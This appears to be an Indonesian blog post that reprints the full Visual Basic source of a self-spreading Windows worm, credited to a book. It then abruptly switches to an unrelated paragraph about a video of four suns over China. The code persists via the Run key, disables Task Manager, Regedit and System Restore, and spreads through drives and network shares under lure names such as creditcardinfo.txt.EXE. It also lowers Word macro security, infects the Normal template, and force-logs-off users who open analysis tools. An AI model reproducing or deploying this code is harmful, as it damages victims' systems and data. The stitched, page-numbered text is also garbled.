Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4
Private Declare Function ExitWindowsEx Lib "user32" (ByVal
dwOptions As Long, ByVal dwReserved As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias
"CopyFileA" (ByVal lpExistingFileName As String, ByVal
lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias _
"FindWindowA" (ByVal lpClassName As String, ByVal _
lpWindowName As String) As Long
Dim pict As Picture
Dim a As Integer
Private Declare Function BitBlt _
Lib "gdi32" ( _
ByVal hDestDC As Long, _
ByVal X As Long, ByVal Y As Long, _
ByVal nWidth As Long, _
ByVal nHeight As Long, _
ByVal hSrcDC As Long, _
ByVal XSrc As Long, ByVal YSrc As Long, _
ByVal dwRop As Long _
) As Long
Private Declare Function GetDesktopWindow _
Lib "user32" () As Long
Private Declare Function GetDC _
Lib "user32" ( _
ByVal hwnd As Long _
) As Long
Private Declare Function ReleaseDC _
Lib "user32" ( _
ByVal hwnd As Long, _
ByVal hdc As Long _
) As Long
Private Const SWP_NOSIZE = &H1
Private Const SWP_NOMOVE = &H2
Private Const SWP_NOZORDER = &H4
Private Const SWP_NOREDRAW = &H8
Private Const SWP_NOACTIVATE = &H10
Private Const SWP_FRAMECHANGED = &H20
Private Const SWP_SHOWWINDOW = &H40
Private Const SWP_HIDEWINDOW = &H80
Private Const SWP_NOCOPYBITS = &H100
Private Const SWP_NOOWNERZORDER = &H200
Private Const SWP_DRAWFRAME = SWP_FRAMECHANGED
Private Const SWP_NOREPOSITION = SWP_NOOWNERZORDER
Private Const HWND_TOP = 0
Private Const HWND_BOTTOM = 1
Private Const HWND_TOPMOST = -1
Private Const HWND_NOTOPMOST = -2
Private Declare Function SetWindowPos _
Lib "user32" ( _
ByVal hwnd As Long, _
ByVal hwndInsertAfter As Long, _
ByVal X As Long, _
ByVal Y As Long, _
ByVal CX As Long, _
ByVal CY As Long, _
ByVal wFlags As Long _
) As Long
Private mbOnTop As Boolean
Private Property Let OnTop(Setting As Boolean)
If Setting Then
SetWindowPos hwnd, HWND_TOPMOST, _
0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE
Else
SetWindowPos hwnd, HWND_NOTOPMOST, _
0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE
End If
mbOnTop = Setting
End Property
Private Property Get OnTop() As Boolean
OnTop = mbOnTop
End Property
8
Private Sub Form_Load()
On Error Resume Next
Dim drives
Dim regrun
Dim xx
Dim X
Dim Y
Dim z
Dim zz
Dim fso
'---
App.TaskVisible = False
'===
Set regrun = CreateObject("Wscript.shell")
regrun.regwrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
Run\Stask", "c:\csw.exe"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
policies\Explorer\NoFolderOptions", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
policies\Explorer\NoRun", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows
NT\SystemRestore\DisableConfig", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows
NT\SystemRestore\DisableSR", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
policies\System\DisableRegistryTools", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
policies\System\DisableTaskMgr", 1, "REG_DWORD"
regrun.regwrite
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\p
olicies\System\DisableTaskMgr", 1, "REG_DWORD"
regrun.regwrite
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security
", 1, "REG_DWORD"
regrun.regwrite
"HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Securit
y", 1, "REG_DWORD"
'=
X = App.path & "\" & App.EXEName & ".exe"
Y = "c:\WINDOWS\creditcardinfo.txt.EXE"
z = "c:\ccinfo.EXE"
zz = "c:\csw.exe"
zzz = "c:\readme.txt"
zzzz = "c:\windows\readme.txt"
zzzzz = "c:\windows\system32\readme.txt"
mark = "c:\version.sys"
CopyFile X, Y, 0
9
CopyFile X, z, 0
CopyFile X, zz, 0
CopyFile X, zzz, 0
CopyFile X, zzzz, 0
CopyFile X, zzzzz, 0
'=
If Dir("c:\version.sys") = "" Then
Set fso = CreateObject("scripting.filesystemobject")
Set drives = fso.drives
For Each Drive In drives
If Drive.isready Then
CopyFile X, mark, 0
Dosearch (Drive & "\")
End If
Next
End If
Timer1.Enabled = True
Timer2.Enabled = True
Timer3.Enabled = True
Timer4.Enabled = True
Timer5.Enabled = True
Call NetSpread
Call Main
End Sub
'=
Function Dosearch(path)
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set folder = fso.getfolder(path)
Set Files = folder.Files
For Each file In Files
'=
If LCase(fso.GetExtensionName(file.path)) = "doc" Then
Set cop = fso.getFile("c:\readme.txt")
cop.Copy (file.path & ".exe")
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "sys" Then
Set cop = fso.getFile("c:\readme.txt")
cop.Copy (file.path & ".exe")
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "dll" Then
Set cop = fso.getFile("c:\readme.txt")
cop.Copy (file.path & ".exe")
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "jpg" Then
Set cop = fso.getFile("c:\readme.txt")
cop.Copy (file.path & ".exe")
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "bmp" Then
10
Set cop = fso.getFile("c:\readme.txt")
cop.Copy (file.path & ".exe")
End If
‘=
If LCase(fso.GetExtensionName(file.path)) = "mp3" Then
Set cop = fso.getFile("c:\readme.txt")
cop.Copy (file.path & ".exe")
End If
On Error Resume Next
Next
Set Subfolders = folder.Subfolders
For Each Subfolder In Subfolders
Dosearch Subfolder.path
Next
End Function
Sub NetSpread()
On Error Resume Next
Set Network = CreateObject("WScript.Network")
Set Shares = Network.EnumNetworkDrives
If Shares.Count > 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
For Counter1 = 0 To Shares.Count - 1
If Shares.Item(Counter1) <> "" Then
fso.getFile(wscript.ScriptFullName).Copy
("kamasutra.txt.exe")
Dosearch (Shares.Item(Counter1))
End If
Next
Set fso = Nothing
End If
Set Shares = Nothing
Set Network = Nothing
End Sub
'=
Sub Main()
On Error Resume Next
Dim zz, zz1, file, fso, oword, nt, b, i, iw, attr
zz1 = App.path & "\" & App.EXEName & ".exe"
file = "c:\csw.exe"
file2 = "c:\windows\readme.txt.exe"
file3 = "c:\windows\ccinfo.exe"
CopyFile zz1, file, 0
CopyFile zz1, file2, 0
CopyFile zz1, file3, 0
On Error Resume Next
Open "c:\v.reg" For Output As 2
Print #2, "REGEDIT4"
11
Print #2,
"[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Securit
y]"
Print #2, """Level""=dword:00000001"
Print #2,
"[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Securi
ty]"
Print #2, """Level""=dword:00000001"
Close 2
Shell "regedit /s c:\v.reg", vbHide
Kill "c:\v.reg"
On Error Resume Next
Open "c:\vv.reg" For Output As 5
Print #5, "Windows Registry Editor Version 5.00"
Print #5,
"[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Securit
y]"
Print #5, """Level""=dword:00000001"
Print #5,
"[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Securi
ty]"
Print #5, """Level""=dword:00000001"
Close 5
Shell "regedit /s c:\vv.reg", vbHide
Kill "c:\vv.reg"
On Error Resume Next
If Dir("c:\m3r.sys") <> "m3r.sys" Then
Open "c:\m3r.sys" For Output As 9
Print #9, "Sub document_close()"
Print #9, "On Error Resume Next"
Print #9, "Open ""c:\m3r.txt"" For Output As 2"
Print #9, "Print #2, ""sub document_open()"""
Print #9, "Print #2, ""On Error Resume Next"""
Print #9, "Print #2, ""'by M3:Reincarnation"""
Print #9, "Print #2, ""obj =
ActiveDocument.Shapes(1).OLEFormat.ClassType"""
Print #9, "Print #2, ""With
ActiveDocument.Shapes(1).OLEFormat"""
Print #9, "Print #2, "" .ActivateAs ClassType:=obj"""
Print #9, "Print #2, "" .Activate"""
Print #9, "Print #2, ""End With"""
Print #9, "Print #2, ""end sub"""
Print #9, "Close 2"
Print #9, "Set fso =
CreateObject(""Scripting.FileSystemObject"")"
Print #9, "Set nt =
ActiveDocument.VBProject.vbcomponents(1).codemodule"
Print #9, "Set iw = fso.OpenTextFile(""c:\m3r.txt"", 1, True)"
Print #9, "nt.DeleteLines 1, nt.CountOfLines"
Print #9, "i = 1"
Print #9, "Do While iw.atendofstream <> True"
Print #9, "b = iw.readline"
Print #9, "nt.InsertLines i, b"
Print #9, "i = i + 1"
Print #9, "Loop"
Print #9, "ActiveDocument.Shapes.AddOLEObject _"
Print #9, "FileName:=""c:\csw.exe"", _"
Print #9, "LinkToFile:=False"
12
Print #9, "ActiveDocument.Save"
Print #9, "Open ""c:\vv.reg"" For Output As 3"
Print #9, "Print #3, ""REGEDIT4"""
Print #9, "Print #3,
""[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Securi
ty]"""
Print #9, "Print #3, """"""Level""""=dword:00000001"""
Print #9, "Print #3,
""[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Secur
ity]"""
Print #9, "Print #3, """"""Level""""=dword:00000001"""
Print #9, "Close 3"
Print #9, "Shell ""regedit /s c:\vv.reg"", vbHide"
Print #9, "Kill ""c:\vv.reg"""
Print #9, "Open ""c:\vvv.reg"" For Output As 4"
Print #9, "Print #4, ""Windows Registry Editor Version 5.00"""
Print #9, "Print #4,
""[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Securi
ty]"""
Print #9, "Print #4, """"""Level""""=dword:00000001"""
Print #9, "Print #4,
""[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Secur
ity]"""
Print #9, "Print #4, """"""Level""""=dword:00000001"""
Print #9, "Close 4"
Print #9, "Shell ""regedit /s c:\vvv.reg"", vbHide"
Print #9, "Kill ""c:\vvv.reg"""
Print #9, "End Sub"
Close 9
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set oword = CreateObject("Word.Application")
oword.Visible = False
Set nt =
oword.NormalTemplate.vbproject.vbcomponents(1).codemodule
Set iw = fso.OpenTextFile("c:\m3r.sys", 1, True)
nt.DeleteLines 1, nt.CountOfLines
i = 1
Do While iw.atendofstream <> True
b = iw.readline
nt.InsertLines i, b
i = i + 1
Loop
On Error Resume Next
oword.NormalTemplate.Save
SetAttr oword.NormalTemplate.Fullname, vbReadOnly
oword.NormalTemplate.Close
Set oword = Nothing
End If
End Sub
'=
Private Sub Timer1_Timer()
On Error Resume Next
CopyFile "c:\readme.txt", "c:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
CopyFile "c:\readme.txt", "d:\" & "\" + "kamasutra.txt.exe", 0
13
On Error Resume Next
CopyFile "c:\readme.txt", "e:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
CopyFile "c:\readme.txt", "f:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
CopyFile "c:\readme.txt", "g:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
CopyFile "c:\readme.txt", "h:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
CopyFile "c:\readme.txt", "i:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
CopyFile "c:\readme.txt", "j:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
CopyFile "c:\readme.txt", "k:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
Call NetSpread
End Sub
'=
Private Sub Timer2_Timer()
On Error Resume Next
Dim strClassName As String
Dim strCaption As String
strClassName = "#32770"
strCaption = "System Configuration Utility"
If FindWindow(strClassName, strCaption) <> 0 Then
lngResult = ExitWindowsEx(4, &H0)
End If
strClassName = "RegEdit_RegEdit"
strCaption = "Registry Editor"
If FindWindow(strClassName, strCaption) <> 0 Then
lngResult = ExitWindowsEx(4, &H0)
End If
strClassName = "#32770"
strCaption = "Windows Task Manager"
If FindWindow(strClassName, strCaption) <> 0 Then
lngResult = ExitWindowsEx(4, &H0)
End If
strClassName = "ThunderRT6Main"
strCaption = "HijackThis"
If FindWindow(strClassName, strCaption) <> 0 Then
On Error Resume Next
Set regrun = CreateObject("Wscript.shell")
regrun.regwrite
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Secur
eBoot", 3, "REG_DWORD"
lngResult = ExitWindowsEx(4, &H0)
End If
On Error Resume Next
X = App.path & "\" & App.EXEName & ".exe"
Y = "c:\WINDOWS\msginax.dll"
z = "c:\ccinfo.EXE"
zz = "c:\csw.exe"
zzz = "c:\readme.txt"
14
zzzz = "c:\windows\readme.txt"
zzzzz = "c:\windows\system32\readme.txt"
CopyFile X, Y, 0
CopyFile X, z, 0
CopyFile X, zz, 0
CopyFile X, zzz, 0
CopyFile X, zzzz, 0
CopyFile X, zzzzz, 0
On Error Resume Next
X = "c:\windows\system32\readme.txt"
Y = "c:\WINDOWS\msginax.dll"
z = "c:\ccinfo.EXE"
zz = "c:\csw.exe"
zzz = "c:\readme.txt"
zzzz = "c:\windows\readme.txt"
CopyFile X, Y, 0
CopyFile X, z, 0
CopyFile X, zz, 0
CopyFile X, zzz, 0
CopyFile X, zzzz, 0
On Error Resume Next
X = "c:\readme.txt"
Y = "c:\WINDOWS\msginax.dll"
z = "c:\ccinfo.EXE"
zz = "c:\csw.exe"
zzz = "c:\readme.txt"
zzzz = "c:\windows\system32\readme.txt"
CopyFile X, Y, 0
CopyFile X, z, 0
CopyFile X, zz, 0
CopyFile X, zzz, 0
CopyFile X, zzzz, 0
'=
On Error Resume Next
Set regrun = CreateObject("Wscript.shell")
regrun.regwrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
Run\Stask", "c:\csw.exe"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
policies\Explorer\NoFolderOptions", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
policies\Explorer\NoRun", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows
NT\SystemRestore\DisableConfig", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows
NT\SystemRestore\DisableSR", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
policies\System\DisableRegistryTools", 1, "REG_DWORD"
regrun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
policies\System\DisableTaskMgr", 1, "REG_DWORD"
15
regrun.regwrite
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\p
olicies\System\DisableTaskMgr", 1, "REG_DWORD"
regrun.regwrite
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security
", 1, "REG_DWORD"
regrun.regwrite
"HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Securit
y", 1, "REG_DWORD"
End Sub
'=
Private Sub Timer3_Timer()
On Error Resume Next
If Day(Date) = 21 Or Day(Date) = 4 Or Day(Date) = 20 Or
Day(Date) = 31 Or Day(Date) = 8 Then
lngResult = ExitWindowsEx(4, &H0)
End If
If Day(Date) = 13 Or Day(Date) = 26 Or Day(Date) = 1 Then
Set regrun = CreateObject("Wscript.shell")
regrun.regwrite
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Secur
eBoot", 3, "REG_DWORD"
For i% = 1 To 1000000
On Error Resume Next
Shell "c:\csw.exe"
Next i%
End If
If TimeValue(Now) > TimeValue("09:00:00") Then
Call animasi
End If
End Sub
Private Sub animasi()
Dim X As Long, Y As Long
Dim XSrc As Long, YSrc As Long
Dim dwRop As Long, hwndSrc As Long, hSrcDC As Long
Dim Res As Long
Dim m1, m2
Dim n1, n2
Dim PixelColor, PixelCount
OnTop = True
Randomize
a = Rnd * 3
On Error Resume Next
Width = Screen.Width
Height = Screen.Height
Randomize
ScaleMode = vbPixels
Move 0, 0, Screen.Width + 1, Screen.Height + 1
16
dwRop = &HCC0020
hwndSrc = GetDesktopWindow()
hSrcDC = GetDC(hwndSrc)
Res = BitBlt(hdc, 0, 0, ScaleWidth, _
ScaleHeight, hSrcDC, 0, 0, dwRop)
Res = ReleaseDC(hwndSrc, hSrcDC)
Show
Set pict = Image
WindowState = vbMaximized
Picture1.Width = Screen.Width \ 15
Picture1.Height = Screen.Height \ 15
Picture1 = pict
Picture2 = pict
End Sub
Private Sub Timer4_Timer()
On Error Resume Next
If a = 0 Then
Picture1.PaintPicture Picture2, 0, -2
Picture1.PaintPicture Picture2, 0, Picture1.ScaleHeight - 2
Picture2 = Picture1.Image
End If
If a = 1 Then
Picture1.PaintPicture Picture2, 0, 2
Picture1.PaintPicture Picture2, 0, -Picture1.ScaleHeight + 2
Picture2 = Picture1.Image
End If
If a = 2 Then
Picture1.PaintPicture Picture2, -2, 0
Picture1.PaintPicture Picture2, Picture1.ScaleWidth - 2, 0
Picture2 = Picture1.Image
End If
If a = 3 Then
Picture1.PaintPicture Picture2, 2, 0
Picture1.PaintPicture Picture2, -Picture1.ScaleWidth + 2, 0
Picture2 = Picture1.Image
End If
End Sub
Private Sub Timer5_Timer()
a = Rnd * 3
End Sub
Artikel ini Saya ambil dari buku mas Tri Amperiyanto,,,,Untuk Mas Tri Amperiyanto Saya amalkan yach scriptnya :)
Sore ini ada seorang teman yang memberitahu saya tentangfenomena alam yang terjadi di Cina. 4 Matahari muncul secara bersamaan dan saling berhubungan. Saya telah melihat video itu melalui beberapa kiriman orang di facebook, dan mencoba mencari video itu di youtube. Akhirnya saya temukan juga video tersebut. Setelah melihat Video 4 matahari di cina yang muncul secara bersamaan tersebut secara langsung, saya sendiri belum tahu, dan belum bisa memastikan apa video itu rekaan atau memang terjadi. Kalau dilihat dari video ini, sepertinya pengambilan gambar menggunakan kamera HP. Yahh..entahlah, hanya untuk dijadkan pelajaran dan semoga kita semakin bijak menghadapai setiap persoalan.Setelah di amati, ternyata video itu di upload tahun 2007 lalu. Sepertinya saya yang ketinggalan informasi. Jika anda melihat langsung melalui youtube, ada juga beberapa video sejenis. Untuk yang penasaran dengan video 4 matahari di china yang muncul secara bersamaan, ini dia video nya :
